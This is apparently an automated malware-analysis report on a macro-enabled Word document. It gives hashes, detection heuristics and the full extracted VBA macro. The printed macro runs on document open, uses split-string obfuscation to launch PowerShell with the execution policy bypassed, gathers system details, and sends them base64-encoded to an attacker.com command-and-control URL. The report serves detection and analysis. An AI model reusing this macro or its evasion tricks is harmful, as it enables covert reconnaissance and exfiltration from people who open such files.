Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 2dd3f595f3a2a8bc…

MALICIOUS

Office (OOXML) / .DOCX

18.5 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-28
MD5: 76a2aa20d6cbf6d1954d0dd98dd98a1e SHA-1: b70ab2604db1ad97285d2d76117b34a5d007a11d SHA-256: 2dd3f595f3a2a8bca32aa037e855ccf9375df37d02bb2a5df732b60c99b6890e
190 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject("WSc" & "ript.Sh" & "ell")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://uithcm-my.sharepoint.com/pe�a�In extracted file (vbaProject_00.bin)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1923 bytes
SHA-256: 48e230f7fda81b237db777de5f648338742bc2aad4a26d4009cf6b648834f096
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim shell As Object
    Dim osInfo As String
    Dim encodedData As String
    Dim http As Object
    Dim url As String
    
    ' Discovery
    Set shell = CreateObject("WSc" & "ript.Sh" & "ell")
    osInfo = shell.Exec("pow" & "ersh" & "ell.exe -Ex" & "ecutionP" & "olicy Byp" & "ass -Com" & "mand ""& {" & _
                         "$os = Get-Wmi" & "Object Win32_Ope" & "ratingS" & "ystem;" & _
                         "'OS Ve" & "rsion: ' + $os.Ve" & "rsion + ', OS Ar" & "chite" & "cture: ' + $os.OSA" & "rchite" & "cture + ', Compu" & "ter Name: ' + $os.CSName}""").StdOut.ReadAll
    
    ' Command and Control (C2)
    encodedData = EncodeBase64(osInfo)
    url = "h" & "tt" & "p://" & "atta" & "cker.c" & "om/c2?d" & "ata=" & encodedData
    
    Set http = CreateObject("MSX" & "ML2.XM" & "LHTTP")
    http.Open "G" & "ET", url, False
    http.Send
End Sub

Function EncodeBase64(inputString As String) As String
    Dim adoStream As Object
    Dim xmlDoc As Object
    Dim xmlNode As Object
    
    Set adoStream = CreateObject("AD" & "ODB.S" & "tream")
    adoStream.Type = 1 ' adTypeBinary
    adoStream.Open
    adoStream.WriteText inputString
    adoStream.Position = 0
    adoStream.Type = 0 ' adTypeText
    adoStream.Charset = "U" & "TF-8"
    adoStream.Position = 3 ' skip BOM
    
    Set xmlDoc = CreateObject("MSX" & "ML2.D" & "OMDoc" & "ument")
    Set xmlNode = xmlDoc.createElement("b6" & "4")
    xmlNode.DataType = "bin.b" & "ase64"
    xmlNode.NodeTypedValue = adoStream.ReadText(-1)
    EncodeBase64 = xmlNode.Text
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: d18e456b8bb76021490e3a9db7633f3ccf37eda10cc4ba3113c2ba377913b976

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